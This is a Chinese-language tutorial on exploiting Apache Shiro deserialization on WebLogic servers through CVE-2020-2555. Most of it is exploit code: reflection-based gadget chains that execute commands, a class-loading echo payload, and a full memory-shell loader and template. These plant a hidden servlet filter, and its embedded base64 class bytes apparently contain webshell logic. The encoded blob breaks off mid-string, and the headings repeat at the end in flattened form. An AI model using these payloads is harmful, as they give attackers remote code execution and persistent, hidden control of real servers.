使用 CVE-2020-2555 攻击 Shiro
字数 445 2025-08-06 08:35:39

Apache Shiro 反序列化漏洞利用教程(结合WebLogic CVE-2020-2555)

背景介绍

当目标应用部署在WebLogic服务器上且存在Shiro反序列化漏洞时,常规的利用链(如CommonsCollectionsK1/K2、CommonsBeanUtils1/2)可能无法成功。本教程将详细介绍如何结合CVE-2020-2555漏洞实现攻击。

漏洞利用思路

1. 初始尝试:FileOutputStream写入文件(失败)

byte[] payload = "CVE_2020_2555 works!".getBytes();
ReflectionExtractor extractor1 = new ReflectionExtractor("getConstructor", new Object[]{new Class[]{String.class}});
ReflectionExtractor extractor2 = new ReflectionExtractor("newInstance", new Object[]{new Object[]{"CVE_2020_2555.txt"}});
ReflectionExtractor extractor3 = new ReflectionExtractor("write", new Object[]{payload});
ValueExtractor[] valueExtractors = new ValueExtractor[]{extractor1, extractor2, extractor3};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
LimitFilter limitFilter = new LimitFilter();

// 设置m_comparator
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);

// 设置m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, FileOutputStream.class);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);

// 序列化与反序列化
byte[] bytes = Util.serialize(badAttributeValueExpException);
Util.deserialize(bytes);

问题:虽然本地测试成功写入文件,但在实际攻击Shiro应用时报错。

2. 第二次尝试:TemplatesImpl执行代码(失败)

final Object eveiObject = Gadgets.createTemplatesImpl("java.lang.Runtime.getRuntime().exec(\"calc\");");
ReflectionExtractor extractor1 = new ReflectionExtractor("getMethod", new Object[]{"newTransformer", new Class[0]});
ReflectionExtractor extractor2 = new ReflectionExtractor("invoke", new Object[]{eveiObject, new Object[0]});
ValueExtractor[] valueExtractors = new ValueExtractor[]{extractor1, extractor2};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
LimitFilter limitFilter = new LimitFilter();

// 设置m_comparator和m_oAnchorTop(同上)
// ...

// 序列化与反序列化
byte[] bytes = Util.serialize(badAttributeValueExpException);
Util.deserialize(bytes);

问题:本地测试成功但攻击Shiro应用时报错。

3. 成功方案:ScriptEngineManager执行JavaScript

ReflectionExtractor extractor1 = new ReflectionExtractor("getConstructor", new Object[]{new Class[0]});
ReflectionExtractor extractor2 = new ReflectionExtractor("newInstance", new Object[]{new Object[0]});
ReflectionExtractor extractor3 = new ReflectionExtractor("getEngineByName", new Object[]{"javascript"});
ReflectionExtractor extractor4 = new ReflectionExtractor("eval", new Object[]{"java.lang.Runtime.getRuntime().exec('calc');"});
ReflectionExtractor[] extractors = {extractor1, extractor2, extractor3, extractor4};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
LimitFilter limitFilter = new LimitFilter();

// 设置m_comparator和m_oAnchorTop(同上)
// ...

// 序列化与反序列化
byte[] bytes = Util.serialize(badAttributeValueExpException);
Util.deserialize(bytes);

成功:此方法成功在Shiro应用中执行任意代码。

实现回显

byte[] bytes = ClassFiles.classAsBytes(WeblogicEcho.class);
String classCode = Base64.encodeToString(bytes);
String code = "var bytes = org.apache.shiro.codec.Base64.decode('" + classCode + "');\n" +
        "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
        "try{\n" +
        "var clazz = classLoader.loadClass('" + cls.getName() + "');\n" +
        "clazz.newInstance();\n" +
        "}catch(err){\n" +
        "var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
        "method.setAccessible(true);\n" +
        "var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
        "clazz.newInstance();\n" +
        "}";

// 使用与前面相同的反射链构造方式
// ...

内存Shell实现

1. Loader代码(放在Cookie中)

package com.feihong.template;

import org.apache.shiro.codec.Base64;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.work.ExecuteThread;
import weblogic.work.WorkAdapter;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class WeblogicMemshellLoader {
    public WeblogicMemshellLoader() throws Exception {
        WorkAdapter workAdapter = ((ExecuteThread) Thread.currentThread()).getCurrentWork();
        Field field = workAdapter.getClass().getDeclaredField("connectionHandler");
        field.setAccessible(true);
        Object obj = field.get(workAdapter);
        ServletRequestImpl servletRequest = (ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
        
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        String code = servletRequest.getParameter("code");
        byte[] bytes = Base64.decode(code);
        
        Class clz;
        try {
            clz = classLoader.loadClass("com.feihong.template.WeblogicMemshellTemplate");
        } catch (Exception e){
            method.setAccessible(true);
            clz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
        }
        clz.getConstructor(new Class[]{ServletRequestImpl.class}).newInstance(new Object[]{servletRequest});
    }
}

2. 内存Shell代码(放在POST Body中)

package com.feihong.template;

import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.FilterManager;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.WebAppServletContext;
import weblogic.servlet.utils.ServletMapping;
import weblogic.utils.collections.MatchMap;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Map;

public class WeblogicMemshellTemplate {
    private ServletRequestImpl servletRequest;
    private String filterName = "dynamicFilter";
    private String urlPattern = "/*";
    
    public WeblogicMemshellTemplate(ServletRequestImpl servletRequest){
        this.servletRequest = servletRequest;
        addMemshell();
    }
    
    private void addMemshell(){
        try {
            Field contextField = servletRequest.getClass().getDeclaredField("context");
            contextField.setAccessible(true);
            WebAppServletContext servletContext = (WebAppServletContext) contextField.get(servletRequest);
            FilterManager filterManager = servletContext.getFilterManager();
            
            // 防止多次加载
            if (!filterManager.isFilterRegistered(filterName)) {
                System.out.println("[+] Add Dynamic Filter");
                ClassLoader cl = Thread.currentThread().getContextClassLoader();
                Class clazz;
                try {
                    clazz = cl.loadClass("com.feihong.template.DynamicFilterTemplate");
                } catch (ClassNotFoundException e){
                    BASE64Decoder base64Decoder = new BASE64Decoder();
                    String codeClass = "yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACxMY29tL2ZlaWhvbmcvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAQoBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAA2NtZAEAAWsBAAZjaXBoZXIBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAA5ldmlsQ2xhc3NCeXRlcwEAAltCAQAJZXZpbENsYXNzAQAKZXZpbE9iamVjdAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADHRhcmdldE1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAvAcAdQcA9gEAB2Rlc3Ryb3kBAAppbml0aWFsaXplAQACZXgBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBAAVjbGF6egEABm1ldGhvZAEABGNvZGUBAAVieXRlcwEAIkxqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbjsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEALUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uOwcBCAcA6gcA/AcA6QcBCwcBAAcBBQcBBgcBBwEAClNvdXJjZUZpbGUBABpEeW5hbWljRmlsdGVyVGVtcGxhdGUuamF2YQwAZQBmAQAEcGFzcwwAYQBiAQAMWC1PcHRpb25zLUFpDABjAGIBABBlNDVlMzI5ZmViNWQ5MjViDABkAGIMAI8AZgcBDAwBDQEOAQAdWytdIER5bmFtaWMgRmlsdGVyIHNheXMgaGVsbG8HAQ8MARABEQEABHR5cGUMARIBEwEABWJhc2ljDADzARQMARUBFgcBFwwBGABiAQABLwEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoAQACLWMBAAIvQwEAEWphdmEvdXRpbC9TY2FubmVyBwEZDAEaARsMARwBHQcBHgwBHwEgDABlASEBAAJcQQwBIgEjDAEkASUMASYBJwcBKAEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMASkBEwwBKgElAQAEUE9TVAwBKwEsAQABdQcBLQwBLgEvAQADQUVTBwEwDAExATIBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMATMBNAwBNQE2AQAADAE1ATcMATgBJQwBOQE6DABlATsMAGwBPAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAT0BPgcBPwwBQAElDAFBAUIMAUMBRAwAXwBgAQALZGVmaW5lQ2xhc3MBAA9qYXZhL2xhbmcvQ2xhc3MBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIMAUUBRgEAEGphdmEvbGFuZy9PYmplY3QHAUcMAUgBSQwBSgFLBwELDAFMAU0MAU4BTwEABmVxdWFscwEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAVAAZgcBUQwAcgFSAQAiY29tLmZlaWhvbmcudGVtcGxhdGUuTXlDbGFzc0xvYWRlcgwBUwFUAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24MAVUBVgcBVwwBWABgAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgwBWQFWAQMQeXY2NnZnQUFBRElBR3dvQUJRQVdCd0FYQ2dBQ0FCWUtBQUlBR0FjQUdRRUFCanhwYm1sMFBnRUFHaWhNYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeU95bFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQ1JNWTI5dEwyWmxhV2h2Ym1jdmRHVnRjR3hoZEdVdlRYbERiR0Z6YzB4dllXUmxjanNCQUFGakFRQVhUR3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2pzQkFBdGtaV1pwYm1WRGJHRnpjd0VBTENoYlFreHFZWFpoTDJ4aGJtY3ZRMnhoYzNOTWIyRmtaWEk3S1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QVFBRllubDBaWE1CQUFKYlFnRUFDMk5zWVhOelRHOWhaR1Z5QVFBS1UyOTFjbU5sUm1sc1pRRUFFazE1UTJ4aGMzTk1iMkZrWlhJdWFtRjJZUXdBQmdBSEFRQWlZMjl0TDJabGFXaHZibWN2ZEdWdGNHeGhkR1V2VFhsRGJHRnpjMHh2WVdSbGNnd0FEd0FhQVFBVmFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlBUUFYS0Z0Q1NVa3BUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0FJUUFDQUFVQUFBQUFBQUlBQUFBR0FBY0FBUUFJQUFBQU9nQUNBQUlBQUFBR0tpdTNBQUd4QUFBQUFnQUpBQUFBQmdBQkFBQUFCQUFLQUFBQUZnQUNBQUFBQmdBTEFBd0FBQUFBQUFZQURRQU9BQUVBQ1FBUEFCQUFBUUFJQUFBQVJBQUVBQUlBQUFBUXV3QUNXU3UzQUFNcUF5cSt0Z0FFc0FBQUFBSUFDUUFBQUFZQUFRQUFBQWdBQ2dBQUFCWUFBZ0FBQUJBQUVRQVNBQUFBQUFBUUFCTUFEZ0FCQUFFQUZBQUFBQUlBRlE9PQwBWgFbDAFcAV0BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQAqY29tL2ZlaWhvbmcvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFClMamF2YS9sYW5nL1RocmVhZDsBAAlnZXRDbGFzcwEAEygpTGphdmEv
Apache Shiro 反序列化漏洞利用教程(结合WebLogic CVE-2020-2555) 背景介绍 当目标应用部署在WebLogic服务器上且存在Shiro反序列化漏洞时,常规的利用链(如CommonsCollectionsK1/K2、CommonsBeanUtils1/2)可能无法成功。本教程将详细介绍如何结合CVE-2020-2555漏洞实现攻击。 漏洞利用思路 1. 初始尝试:FileOutputStream写入文件(失败) 问题 :虽然本地测试成功写入文件,但在实际攻击Shiro应用时报错。 2. 第二次尝试:TemplatesImpl执行代码(失败) 问题 :本地测试成功但攻击Shiro应用时报错。 3. 成功方案:ScriptEngineManager执行JavaScript 成功 :此方法成功在Shiro应用中执行任意代码。 实现回显 内存Shell实现 1. Loader代码(放在Cookie中) 2. 内存Shell代码(放在POST Body中)